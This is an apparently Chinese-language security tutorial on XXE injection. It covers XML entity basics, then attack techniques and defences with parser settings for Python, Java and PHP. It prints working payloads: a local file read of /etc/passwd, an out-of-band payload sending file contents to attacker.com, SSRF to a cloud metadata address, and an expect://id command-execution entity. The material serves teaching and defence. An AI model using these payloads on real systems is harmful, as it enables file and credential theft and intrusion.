體注入到文件讀取與SSRF防御)
大概在五年前做某次授權(quán)測(cè)試目標(biāo)系統(tǒng)有個(gè)不起眼的文件上傳接口響應(yīng)報(bào)文里帶著一段 XML 結(jié)構(gòu)。當(dāng)時(shí)隨手改了改請(qǐng)求體把實(shí)體聲明換成了外部實(shí)體結(jié)果直接把服務(wù)器上的/etc/passwd讀了出來(lái)。那是我第一次真正意識(shí)到 XXEXML External EntityXML 外部實(shí)體注入的破壞力一個(gè)被忽略的解析機(jī)制就能讓幾百臺(tái)內(nèi)網(wǎng)機(jī)器像沒(méi)關(guān)門一樣擺在攻擊者面前。XXE 屬于典型的配置與信任缺陷類漏洞根子在于 XML 解析器默認(rèn)支持外部實(shí)體加載而開發(fā)者往往既沒(méi)有關(guān)閉這個(gè)特性也沒(méi)有對(duì)輸入做任何限制。攻擊者只需要在 XML 中構(gòu)造一句!ENTITY xxe SYSTEM file:///etc/passwd解析器就會(huì)乖乖把文件內(nèi)容拼接進(jìn)響應(yīng)里。它不像 SQL 注入那樣有統(tǒng)一的語(yǔ)法特征但危害面極廣從讀取本地文件、發(fā)起內(nèi)網(wǎng)探測(cè)到在某些環(huán)境下直接執(zhí)行系統(tǒng)命令都屬于 XXE 的攻擊范疇。這篇文章會(huì)把 XML 語(yǔ)言結(jié)構(gòu)、XXE 的原理、常用攻擊手法和防御方案串起來(lái)講一遍。適合剛接觸 Web 安全的人建立體系認(rèn)知也適合開發(fā)人員自查代碼里是否存在同類問(wèn)題。全文基于常見(jiàn)實(shí)踐和公開資料整理所有測(cè)試均在授權(quán)環(huán)境下完成請(qǐng)勿對(duì)未授權(quán)目標(biāo)使用。1. 內(nèi)容整體設(shè)計(jì)與思路拆解1.1 為什么 XXE 會(huì)成為一個(gè)獨(dú)立漏洞類型要理解 XXE得先回到 XML 的設(shè)計(jì)初衷。XML 是一種標(biāo)記語(yǔ)言用來(lái)描述結(jié)構(gòu)化數(shù)據(jù)它允許通過(guò)文檔類型定義DTD來(lái)聲明實(shí)體。實(shí)體可以簡(jiǎn)單理解成“變量”在文檔里引用它解析時(shí)會(huì)被替換成對(duì)應(yīng)的值。這個(gè)機(jī)制本身沒(méi)有問(wèn)題問(wèn)題出在“外部實(shí)體”上——XML 規(guī)范允許實(shí)體引用外部資源比如本地文件、遠(yuǎn)程 URL甚至 UNC 路徑。大多數(shù)編程語(yǔ)言內(nèi)置的 XML 解析器在默認(rèn)配置下都會(huì)支持外部實(shí)體加載。原因很簡(jiǎn)單歷史上“寬松”的配置能減少兼容性問(wèn)題很多老業(yè)務(wù)依賴這種能力讀取配置文件或引用外部 DTD。于是攻擊者只要找到一處能提交 XML 數(shù)據(jù)的位置構(gòu)造惡意實(shí)體聲明解析器就會(huì)按照聲明去讀取資源并展開到文檔中。如果解析后的數(shù)據(jù)被返回給客戶端信息就泄露了如果不直接返回也能通過(guò)錯(cuò)誤信息、時(shí)序差異、盲注方式把數(shù)據(jù)帶出來(lái)。我在實(shí)際測(cè)試中遇到最多的場(chǎng)景是JSON 接口里嵌套了一段 XML或者文件上傳功能支持導(dǎo)入 XML 格式的配置再或者 SOAP 接口本身就用 XML 通信。開發(fā)人員對(duì)這些位置的警惕性遠(yuǎn)低于 SQL 查詢和文件上傳所以遺漏率很高。1.2 滲透測(cè)試視角下的攻擊面梳理從攻擊者角度看XXE 的目標(biāo)不是 XML 本身而是托管解析器的服務(wù)器。梳理攻擊面時(shí)需要關(guān)注三件事第一入口位置。所有接受 XML 作為輸入的接口都要測(cè)不要只看Content-Type: application/xml的接口有些 JSON 接口內(nèi)部會(huì)用 XML 解析器處理字段值這種隱蔽入口更容易出問(wèn)題。第二解析器類型。不同語(yǔ)言和庫(kù)對(duì)實(shí)體處理的默認(rèn)策略不一樣。比如 Python 的xml.etree.ElementTree在較新版本中已經(jīng)禁用外部實(shí)體但lxml默認(rèn)仍然支持。Java 的DocumentBuilderFactory如果沒(méi)手動(dòng)關(guān)閉external-general-entities風(fēng)險(xiǎn)也很大。測(cè)試前得先摸清技術(shù)棧才好判斷漏洞是否真實(shí)存在。第三利用深度。文件讀取是最基礎(chǔ)的但如果解析器運(yùn)行在高權(quán)限用戶下或者目標(biāo)環(huán)境存在特殊協(xié)議支持攻擊可能升級(jí)為命令執(zhí)行或內(nèi)網(wǎng)穿透。這也是為什么 XXE 的嚴(yán)重性評(píng)級(jí)經(jīng)常被標(biāo)為 High 甚至 Critical。1.3 學(xué)習(xí)路線從 XML 結(jié)構(gòu)到防御閉環(huán)我認(rèn)為理解 XXE 有一個(gè)清晰的遞進(jìn)路徑先掌握 XML 的基本結(jié)構(gòu)知道 DTD、元素、實(shí)體分別是什么再看解析器如何處理外部實(shí)體明白漏洞產(chǎn)生的機(jī)制然后動(dòng)手構(gòu)造 Payload區(qū)分回顯、報(bào)錯(cuò)、盲注三種利用形態(tài)最后回到防御從解析器配置、依賴庫(kù)、應(yīng)用層輸入校驗(yàn)三個(gè)維度扎緊籬笆。這個(gè)閉環(huán)走通之后無(wú)論是做白盒審計(jì)還是黑盒測(cè)試都會(huì)比較順手。2. XML 語(yǔ)言結(jié)構(gòu)與外部實(shí)體基礎(chǔ)2.1 XML 文檔的組成要素XML 文檔由序言和文檔元素組成。序言包括 XML 聲明和文檔類型定義DTD文檔元素則是一個(gè)嵌套的樹形結(jié)構(gòu)??匆粋€(gè)最典型的例子?xml version1.0 encodingUTF-8? !DOCTYPE note [ !ELEMENT note (to,from,heading,body) !ELEMENT to (#PCDATA) ] note toTove/to fromJani/from headingReminder/heading bodyDont forget me this weekend!/body /note其中!DOCTYPE note [...]聲明了根元素的類型內(nèi)部的!ELEMENT note (to,from,heading,body)定義了子元素結(jié)構(gòu)#PCDATA表示該元素包含可解析的字符數(shù)據(jù)。這些聲明本身不產(chǎn)生漏洞但 DTD 的存在給了攻擊者聲明惡意實(shí)體的空間。實(shí)體分為內(nèi)部實(shí)體和外部實(shí)體。內(nèi)部實(shí)體直接在 DTD 中定義值比如!ENTITY author 張三引用時(shí)用author;即可。外部實(shí)體則引用外部資源語(yǔ)法是!ENTITY name SYSTEM URI。URI 可以是file://、http://、ftp://等協(xié)議具體取決于解析器支持哪些協(xié)議。XXE 的核心就是讓外部實(shí)體指向攻擊者可控的資源。2.2 外部實(shí)體的加載機(jī)制當(dāng)解析器遇到外部實(shí)體引用時(shí)會(huì)嘗試從 URI 指定的位置獲取內(nèi)容并將該內(nèi)容插入到文檔中替代實(shí)體引用。這個(gè)行為類似于文本預(yù)處理先進(jìn)行實(shí)體展開再解析整個(gè)文檔結(jié)構(gòu)。關(guān)鍵在于解析器并不區(qū)分“內(nèi)部定義的實(shí)體”和“來(lái)自外部的實(shí)體”只要 DTD 里聲明了SYSTEM關(guān)鍵字它就會(huì)去讀取對(duì)應(yīng)的資源。以文件讀取為例?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] fooxxe;/foo解析器加載文檔時(shí)xxe;會(huì)被替換為/etc/passwd的文件內(nèi)容。如果接口把解析后的 XML 內(nèi)容以文本形式返回攻擊者就能看到完整的文件內(nèi)容。如果接口不返回解析結(jié)果也沒(méi)關(guān)系可以結(jié)合錯(cuò)誤信息外帶數(shù)據(jù)。這里有個(gè)容易被忽略的點(diǎn)很多解析器對(duì)file://協(xié)議的支持會(huì)受平臺(tái)限制。Linux 上讀取/etc/passwd很順利但 Windows 路徑需要用file:///C:/Windows/win.ini。在測(cè)試時(shí)建議多試幾個(gè)路徑比如file:///etc/hosts、file:///c:/windows/win.ini往往能更快定位平臺(tái)類型。2.3 參數(shù)實(shí)體與通用實(shí)體的區(qū)別DTD 中還存在參數(shù)實(shí)體語(yǔ)法是!ENTITY % name value引用方式是%name;。參數(shù)實(shí)體只能在 DTD 內(nèi)部使用不能出現(xiàn)在文檔內(nèi)容中。這個(gè)特性在盲注 XXE 時(shí)特別有用因?yàn)楣粽呖梢杂脜?shù)實(shí)體加載外部 DTD再借助外部 DTD 中的實(shí)體定義把數(shù)據(jù)帶出來(lái)。通用實(shí)體和參數(shù)實(shí)體的區(qū)別可以用一個(gè)表格概括類型聲明語(yǔ)法引用方式使用位置內(nèi)部通用實(shí)體!ENTITY name valuename;文檔內(nèi)容外部通用實(shí)體!ENTITY name SYSTEM URIname;文檔內(nèi)容內(nèi)部參數(shù)實(shí)體!ENTITY % name value%name;DTD 內(nèi)部外部參數(shù)實(shí)體!ENTITY % name SYSTEM URI%name;DTD 內(nèi)部攻擊者通常用通用實(shí)體做回顯型 XXE用參數(shù)實(shí)體做盲注型 XXE。理解這個(gè)區(qū)別后后面看 Payload 就不會(huì)暈。3. 核心攻擊手法與利用場(chǎng)景3.1 回顯型直接讀取文件內(nèi)容回顯型 XXE 是最理想的形態(tài)因?yàn)楣粽吣苤苯涌吹浇馕鼋Y(jié)果。構(gòu)造 Payload 時(shí)只需要讓外部實(shí)體指向目標(biāo)文件然后在 XML 文檔內(nèi)容中引用該實(shí)體。接口返回的響應(yīng)里如果包含文件內(nèi)容漏洞即確認(rèn)。?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY x SYSTEM file:///etc/passwd ] rootx;/root測(cè)試時(shí)要注意編碼問(wèn)題。如果目標(biāo)文件是二進(jìn)制內(nèi)容或者包含不適合 XML 解析的字符解析器可能會(huì)報(bào)錯(cuò)。實(shí)戰(zhàn)中優(yōu)先讀取文本類文件如/etc/passwd、/etc/hostname、Web 應(yīng)用配置文件等。Windows 環(huán)境下C:\Windows\System32\drivers\etc\hosts也是很好的目標(biāo)。有些接口會(huì)做一層簡(jiǎn)單的過(guò)濾比如檢查請(qǐng)求體中是否包含關(guān)鍵字。這種情況可以嘗試編碼繞過(guò)但更可靠的方式是先摸清解析器的具體實(shí)現(xiàn)再針對(duì)性構(gòu)造。3.2 盲注型報(bào)錯(cuò)外帶與 OOB 數(shù)據(jù)外傳當(dāng)接口不回顯解析結(jié)果時(shí)就需要利用盲注技巧。第一種思路是報(bào)錯(cuò)外帶通過(guò)構(gòu)造錯(cuò)誤的 XML讓解析器把讀取到的文件內(nèi)容輸出到錯(cuò)誤信息中。典型的 Payload 如下?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%file; %eval; %exfil; ] roottest/root這段 Payload 使用了嵌套實(shí)體和外部參數(shù)實(shí)體。%file;讀取文件內(nèi)容%eval;定義一個(gè)新的參數(shù)實(shí)體該實(shí)體的 URI 中帶上了%file;的值最終%exfil;觸發(fā)向攻擊者服務(wù)器發(fā)起請(qǐng)求。攻擊者這邊只需要起一個(gè) HTTP 服務(wù)日志里就能看到帶外數(shù)據(jù)。這種利用方式要求目標(biāo)服務(wù)器能訪問(wèn)外網(wǎng)或者內(nèi)網(wǎng)中攻擊者可控的服務(wù)器。如果目標(biāo)出網(wǎng)受限可以考慮用ftp://或者dict://協(xié)議做數(shù)據(jù)外帶不過(guò)成功率受網(wǎng)絡(luò)環(huán)境影響比較大。3.3 SSRF 與內(nèi)網(wǎng)探測(cè)XXE 不僅能讀文件還能讓服務(wù)器發(fā)起任意 URL 請(qǐng)求形成 SSRF服務(wù)端請(qǐng)求偽造。將外部實(shí)體的 URL 指向內(nèi)網(wǎng)地址比如http://127.0.0.1:8080/admin如果接口把響應(yīng)內(nèi)容返回攻擊者就能借此訪問(wèn)內(nèi)網(wǎng)服務(wù)如果回顯不完整也可以通過(guò)響應(yīng)時(shí)間差或錯(cuò)誤信息判斷端口是否開放。另一種更隱蔽的方式是借助http://協(xié)議訪問(wèn)云服務(wù)器內(nèi)部元數(shù)據(jù)接口。一些平臺(tái)的元數(shù)據(jù)地址是固定 IP例如http://169.254.169.254/latest/meta-data/。通過(guò) XXE 請(qǐng)求這個(gè)地址可能拿到臨時(shí)憑證等敏感信息。測(cè)試時(shí)是否包含這塊內(nèi)容要嚴(yán)格遵循授權(quán)范圍不要越界。SSRF 和文件讀取經(jīng)常疊加使用先讀取本機(jī)文件確認(rèn)平臺(tái)再通過(guò)內(nèi)網(wǎng)探測(cè)擴(kuò)大戰(zhàn)果。但每一步都必須控制風(fēng)險(xiǎn)避免對(duì)內(nèi)部系統(tǒng)造成不可逆影響。3.4 命令執(zhí)行的幾種特殊場(chǎng)景XXE 直接命令執(zhí)行比較少見(jiàn)通常需要解析器支持某些特定協(xié)議或存在配套組件。有一個(gè)經(jīng)典場(chǎng)景是 PHP 環(huán)境下的expect://協(xié)議如果 PHP 的 XML 解析器啟用了 expect 擴(kuò)展可以這樣構(gòu)造?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY xxe SYSTEM expect://id ] rootxxe;/root另一個(gè)場(chǎng)景是 Java 環(huán)境下通過(guò)jar://協(xié)議觸發(fā)本地文件處理或者配合反序列化鏈實(shí)現(xiàn)更深入的利用。這些利用方式依賴環(huán)境測(cè)試時(shí)要先確認(rèn)目標(biāo)語(yǔ)言和解析器類型沒(méi)有必要盲目嘗試。3.5 利用流程與 Payload 組織實(shí)際滲透測(cè)試時(shí)我習(xí)慣按這個(gè)順序推進(jìn)第一步確認(rèn)入口。找所有接收 XML 的接口包括抓包中看到的Content-Type: application/xml以及 JSON 字段內(nèi)嵌 XML 的場(chǎng)景。第二步探測(cè)解析器是否處理外部實(shí)體。發(fā)送一個(gè)最小化探測(cè) Payload判斷響應(yīng)是否出現(xiàn)外部資源內(nèi)容。第三步分情況利用?;仫@型直接讀文件盲注型先搭建外帶通道SSRF 場(chǎng)景則逐步擴(kuò)大探測(cè)范圍。第四步驗(yàn)證影響面。評(píng)估能否從文件讀取升級(jí)到代碼執(zhí)行或內(nèi)網(wǎng)橫向但這個(gè)環(huán)節(jié)需要明確授權(quán)邊界和時(shí)間窗口。組織 Payload 時(shí)建議保持 XML 結(jié)構(gòu)完整。很多解析器對(duì)格式敏感少一個(gè)閉合標(biāo)簽就會(huì)直接報(bào)錯(cuò)導(dǎo)致測(cè)試中斷。4. 防御手法與安全編碼4.1 關(guān)閉外部實(shí)體加載最直接的修復(fù)防御 XXE 最有效的手段是禁用外部實(shí)體。不同語(yǔ)言的解析器有不同的配置方式以下列出常見(jiàn)的幾種Python 中l(wèi)xml庫(kù)需要顯式禁用from lxml import etree parser etree.XMLParser(resolve_entitiesFalse, no_networkTrue) tree etree.fromstring(xml_data, parserparser)Java 中標(biāo)準(zhǔn)做法是設(shè)置DocumentBuilderFactory的特性DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false);PHP 中可以在加載前調(diào)用libxml_disable_entity_loader(true)或者使用libxml選項(xiàng)$xml simplexml_load_string($data, SimpleXMLElement, LIBXML_NONET | LIBXML_NOENT);這里有兩個(gè)容易踩的坑。一是只關(guān)了外部通用實(shí)體但忘了關(guān)外部參數(shù)實(shí)體二是只做代碼層配置卻忽略了依賴庫(kù)內(nèi)部可能還有一層解析器。建議配置完之后用自動(dòng)化測(cè)試腳本掃一遍確認(rèn)所有解析路徑都已收緊。4.2 輸入校驗(yàn)與輸出過(guò)濾除了關(guān)閉外部實(shí)體還需要在應(yīng)用層增加防線。輸入校驗(yàn)方面最穩(wěn)妥的做法是直接拒絕含有 DTD 聲明的 XML 請(qǐng)求。因?yàn)檎I(yè)務(wù)場(chǎng)景下大部分應(yīng)用根本不需要 DTD。如果產(chǎn)品確實(shí)需要 DTD那就優(yōu)先選擇安全的解析器配置而不是依賴輸入過(guò)濾。輸出過(guò)濾主要用于防止敏感信息泄露。即使解析器被意外繞過(guò)響應(yīng)中也應(yīng)該對(duì)文件路徑、內(nèi)部 IP、系統(tǒng)用戶等信息做脫敏。實(shí)際操作中很多業(yè)務(wù)接口會(huì)把解析后的數(shù)據(jù)原樣返回這是 XXE 從“存在但不可見(jiàn)”變成“嚴(yán)重泄露”的關(guān)鍵因素。4.3 禁用危險(xiǎn)協(xié)議與限制出網(wǎng)很多 XXE 利用依賴file://、http://、ftp://等協(xié)議。如果解析器允許自定義協(xié)議解析器可以只注冊(cè)安全協(xié)議。像 Java 中自定義 XMLReader 時(shí)可以檢查XMLConstants.ACCESS_EXTERNAL_DTD和ACCESS_EXTERNAL_SCHEMA屬性將訪問(wèn)權(quán)限限制為空字符串從而禁止外部資源訪問(wèn)。對(duì)于服務(wù)器自身還需要在網(wǎng)絡(luò)層限制出網(wǎng)訪問(wèn)。XXE 盲注和數(shù)據(jù)外帶必須依賴目標(biāo)服務(wù)器向外部發(fā)起請(qǐng)求如果服務(wù)器只能訪問(wèn)必要的內(nèi)部服務(wù)和少數(shù)白名單域名攻擊者即使發(fā)現(xiàn)了漏洞也很難把數(shù)據(jù)帶出去。這個(gè)思路類似于縱深防御不把雞蛋放在同一個(gè)籃子里。4.4 安全測(cè)試與自動(dòng)化掃描防御不能停留在修漏洞上還得建立持續(xù)檢測(cè)機(jī)制。團(tuán)隊(duì)在研發(fā)流程里可以加入依賴庫(kù)的漏洞檢查比如使用社區(qū)維護(hù)的組件掃描工具及時(shí)發(fā)現(xiàn) XML 解析器相關(guān)的 CVE。更重要的是在測(cè)試階段加入 XXE 專項(xiàng)用例直接把探測(cè) Payload 寫入自動(dòng)化用例中防止以后代碼改動(dòng)時(shí)把外部實(shí)體加載又帶回來(lái)。測(cè)試用例可以覆蓋這幾個(gè)方向DTD 聲明是否被拒絕、外部通用實(shí)體是否被加載、外部參數(shù)實(shí)體是否被加載、file://協(xié)議是否可用、http://協(xié)議是否可用。每一條都對(duì)應(yīng)明確的預(yù)期結(jié)果避免測(cè)試用例只是走個(gè)過(guò)場(chǎng)。5. 常見(jiàn)問(wèn)題與排查技巧實(shí)錄5.1 為什么 Payload 構(gòu)造正確卻沒(méi)有任何回顯這個(gè)問(wèn)題出現(xiàn)的頻率最高。排查時(shí)先確認(rèn)接口是否真的解析了 XML而不是把請(qǐng)求體當(dāng)普通字符串處理??梢蕴峤灰粋€(gè)格式錯(cuò)誤的 XML如果接口報(bào)錯(cuò)并返回了解析異常信息說(shuō)明 XML 確實(shí)被解析如果接口返回 200 且沒(méi)有任何變化就需要檢查 Content-Type 是否匹配。另一個(gè)原因是解析器默認(rèn)忽略了外部實(shí)體。很多新版本的解析器已經(jīng)把外部實(shí)體加載設(shè)為默認(rèn)關(guān)閉此時(shí)即使 DTD 里聲明了外部實(shí)體也不會(huì)被加載。遇到這種情況可以試試把Content-Type改成application/xml或者嘗試不同的解析入口有些業(yè)務(wù)接口存在多套解析邏輯。5.2 盲注時(shí)外帶通道搭建失敗盲注型 XXE 對(duì)外帶通道的依賴很強(qiáng)。常見(jiàn)問(wèn)題是目標(biāo)服務(wù)器解析 URL 時(shí)對(duì)特殊字符敏感比如、#可能引發(fā) URL 編碼問(wèn)題。建議外帶參數(shù)值統(tǒng)一做 Base64 編碼并且使用短域名或 IP 地址避免 DNS 解析問(wèn)題。還有一種情況是目標(biāo)服務(wù)器只能訪問(wèn)內(nèi)網(wǎng)。此時(shí)需要調(diào)整思路尋找內(nèi)網(wǎng)中可控的 HTTP 服務(wù)作為數(shù)據(jù)接收端但注意不要越權(quán)操作其他系統(tǒng)。一般來(lái)說(shuō)如果外帶失敗優(yōu)先檢查目標(biāo)服務(wù)器到外部的連通性再檢查 Payload 中的實(shí)體嵌套是否正確。5.3 自動(dòng)化掃描工具報(bào)了一堆 XXE但人工驗(yàn)證全是誤報(bào)掃描器通常通過(guò)發(fā)送預(yù)設(shè) Payload 并匹配響應(yīng)特征來(lái)判定漏洞。誤報(bào)的根源在于它無(wú)法判斷解析器是否真的執(zhí)行了實(shí)體替換。人工驗(yàn)證時(shí)不要光看響應(yīng)中包含某個(gè)關(guān)鍵詞還要確認(rèn)這個(gè)關(guān)鍵詞是否來(lái)自我們構(gòu)造的實(shí)體引用。最穩(wěn)的驗(yàn)證方法是使用隨機(jī)字符串作為實(shí)體內(nèi)容比如定義!ENTITY xxe SYSTEM http://internal-test.example/然后觀察 DNS 記錄或 HTTP 日志中是否出現(xiàn)我們獨(dú)有的標(biāo)記。這樣才能確認(rèn)是真實(shí)觸發(fā)而不是響應(yīng)模板里本來(lái)就帶有的字符串。5.4 修復(fù)后如何回歸驗(yàn)證修復(fù)后的回歸測(cè)試同樣重要。我見(jiàn)過(guò)不少團(tuán)隊(duì)改了代碼但配置沒(méi)生效或者只改了某個(gè)入口其他入口仍然存在漏洞。回歸測(cè)試建議覆蓋所有已知的 XML 輸入點(diǎn)重新跑一遍探測(cè) Payload確認(rèn)外部實(shí)體加載已經(jīng)被關(guān)閉。如果修復(fù)方式是在代碼層添加過(guò)濾器還要測(cè)試?yán)@過(guò)場(chǎng)景。比如攻擊者可能在 XML 聲明中使用編碼方式繞過(guò)過(guò)濾此時(shí)需要在測(cè)試用例中增加編碼變體確保過(guò)濾器真正覆蓋所有輸入形式?;貧w測(cè)試通過(guò)后最好把用例固化到 CI 流程里防止未來(lái)退化。6. 從漏洞到修復(fù)的實(shí)戰(zhàn)復(fù)盤拿我之前參與的一個(gè)模擬項(xiàng)目舉例。某后臺(tái)管理系統(tǒng)支持用戶導(dǎo)入 XML 格式的報(bào)告當(dāng)時(shí)冷門功能關(guān)注度低開發(fā)直接把 XML 文件丟給解析器處理沒(méi)有做任何限制。測(cè)試人員在發(fā)現(xiàn)上傳功能后隨手提交了一個(gè)包含外部實(shí)體的請(qǐng)求結(jié)果成功讀取了服務(wù)器上的配置信息其中包含數(shù)據(jù)庫(kù)連接字符串。問(wèn)題本身修復(fù)不難難的是部門里有多個(gè)業(yè)務(wù)系統(tǒng)都調(diào)用了同一個(gè) XML 解析工具類。我們統(tǒng)一修改了工具類的解析參數(shù)同時(shí)對(duì)外發(fā)布了一份內(nèi)部安全編碼規(guī)范要求所有涉及 XML 解析的新代碼必須使用安全配置模板。修復(fù)后對(duì)全量接口做了一輪自動(dòng)化掃描確認(rèn)沒(méi)有遺漏。這個(gè)案例說(shuō)明XXE 的修復(fù)不只是改一行代碼更要在公共組件層面收口。項(xiàng)目組有必要建立一個(gè)“解析器安全配置清單”把開啟外部實(shí)體、允許 DTD 聲明這類高風(fēng)險(xiǎn)選項(xiàng)明確標(biāo)記為禁止項(xiàng)。我個(gè)人在實(shí)際操作中的體會(huì)是XXE 的防御重點(diǎn)永遠(yuǎn)在解析器配置。任何黑名單和過(guò)濾都可能被繞過(guò)只有從根源上關(guān)閉外部實(shí)體加載才能保證體系性地安全。建議大家在寫完代碼后主動(dòng)拿著測(cè)試 Payload 打一遍自己的接口這個(gè)習(xí)慣比任何安全通告都管用。